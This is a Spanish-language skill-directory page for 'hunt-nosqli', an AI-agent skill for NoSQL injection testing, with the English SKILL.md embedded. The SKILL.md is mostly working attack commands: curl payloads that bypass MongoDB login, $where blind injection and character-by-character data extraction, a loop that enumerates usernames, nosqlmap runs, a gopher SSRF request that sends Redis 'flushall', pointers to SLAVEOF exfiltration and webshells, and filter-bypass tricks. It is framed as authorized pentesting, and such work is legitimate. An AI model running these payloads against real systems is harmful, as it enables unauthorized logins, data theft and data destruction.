hunt-nosqli
Qué hace
Esta skill comprueba apps con bases NoSQL en busca de inyección de operadores y otros fallos relacionados que pueden saltar el inicio de sesión o volcar datos. Es para pruebas autorizadas de apps que usan MongoDB, CouchDB o Redis.
Cuándo usarla
- ✓Cuando un inicio de sesión acepta JSON con campos de usuario y contraseña en una app de MongoDB.
- ✓Cuando un endpoint de búsqueda o de filtro acepta operadores de consulta del usuario.
- ✓Cuando los mensajes de error mencionan una base de datos NoSQL.
Link de la skill
https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-nosqli/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“Nuestra API de inicio de sesión usa MongoDB. ¿Puedes comprobar si la entrada con operadores puede saltarla, en nuestra prueba autorizada?”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
El agente envía valores de operador en JSON en las peticiones de inicio de sesión y búsqueda, y después compara las respuestas. Informa de los saltos o exposiciones de datos confirmados.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
HUNT-NOSQLI — NoSQL Injection
Crown Jewel Targets
NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).
Highest-value chains:
- MongoDB auth bypass —
{"username": {"$gt": ""}, "password": {"$gt": ""}}logs in as first user in collection (usually admin) - $where JS injection — if $where is enabled: blind injection → data exfil
- Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
- Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE
Attack Surface Signals
URL & Param Patterns
/api/users/login POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password
Stack Signals
| Signal | Vector |
|---|---|
| MongoDB error messages in response | Operator injection |
| mongoose / monk in JS bundles | ODM patterns |
| X-Powered-By: Express | Node.js + MongoDB common stack |
| CouchDB/_utils UI exposed | Futon/Fauxton admin |
| Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF |
| Elasticsearch :9200 open | Script injection |
Step-by-Step Hunting Methodology
Phase 1 — Auth Bypass (MongoDB)
# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "wrong"}}'
# in array bypass
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
Phase 2 — URL Parameter Injection
# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
# POST form data
curl "https://$TARGET/api/login" \
--data "username[$gt]=&password[$gt]="
Phase 3 — $where Blind Injection (time-based)
# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed
# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
Phase 3b — Syntax injection into a concatenated $where/query (string context)
When the app concatenates input into a JS $where STRING ("this.name=='"+input+"'") instead of accepting an operator object, break the string rather than passing $gt/$ne. Fuzz first, then break:
fuzz: ' " ` { ; $ # any 500/behaviour change = syntax reaches the query
' || '1'=='1 # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y # boolean char-exfil oracle
(PortSwigger: Injecting syntax into NoSQL queries.)
Phase 4 — Data Dump via Regex
# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
RESP=$(curl -s -X POST https://$TARGET/api/users \
-H "Content-Type: application/json" \
-d "{\"username\": {\"\$regex\": \"^$c\"}}")
echo "$c: $(echo $RESP | wc -c)"
done
Phase 5 — Automation
# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1
# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2
Phase 6 — Redis via SSRF
# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"
# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil
Bypass Table
| Defense | Bypass |
|---|---|
| JSON.parse rejects objects | Use array: password[$ne]=x (URL params) |
Sanitizes $ |
Unicode: $gt |
Preguntas frecuentes
¿Qué es la inyección de operadores?
Es cuando un usuario envía operadores de consulta, como mayor que, en lugar de un valor simple, cambiando cómo la base de datos compara.
¿Qué bases de datos cubre?
La skill cubre MongoDB, CouchDB, Redis y Elasticsearch.
¿Por qué es grave el salto del inicio de sesión?
Puede permitir entrar como administrador sin una contraseña válida, que la skill califica como crítico.
Detalles
Descripción original del autor
Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.
Popularidad
- Estrellas en GitHub
- 5,4 mil
- Posición en el ranking
- #14924
- Licencia
- MIT
- Actualizada
- 2/11/2026
Comentarios
- …
Más skills de este repositorio
apk-redteam-pipeline
5,4 milAyuda a tu agente a probar una app de Android en busca de debilidades de seguridad, desde encontrar el archivo APK y descompilarlo hasta buscar secretos expuestos.
bugcrowd-reporting
5,4 milAyuda a tu agente a escribir mejores informes de vulnerabilidades para Bugcrowd, eligiendo la categoría adecuada y respondiendo a las objeciones de fuera de alcance.
cloud-iam-deep
5,4 milAyuda a tu agente a comprobar a qué puede acceder una credencial de nube encontrada en AWS, Azure o Google Cloud, durante una prueba de seguridad autorizada.
enterprise-vpn-attack
5,4 milAyuda a tu agente a revisar equipos VPN y de acceso remoto de Cisco, Fortinet, Citrix y otros en busca de debilidades conocidas, durante una prueba autorizada.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.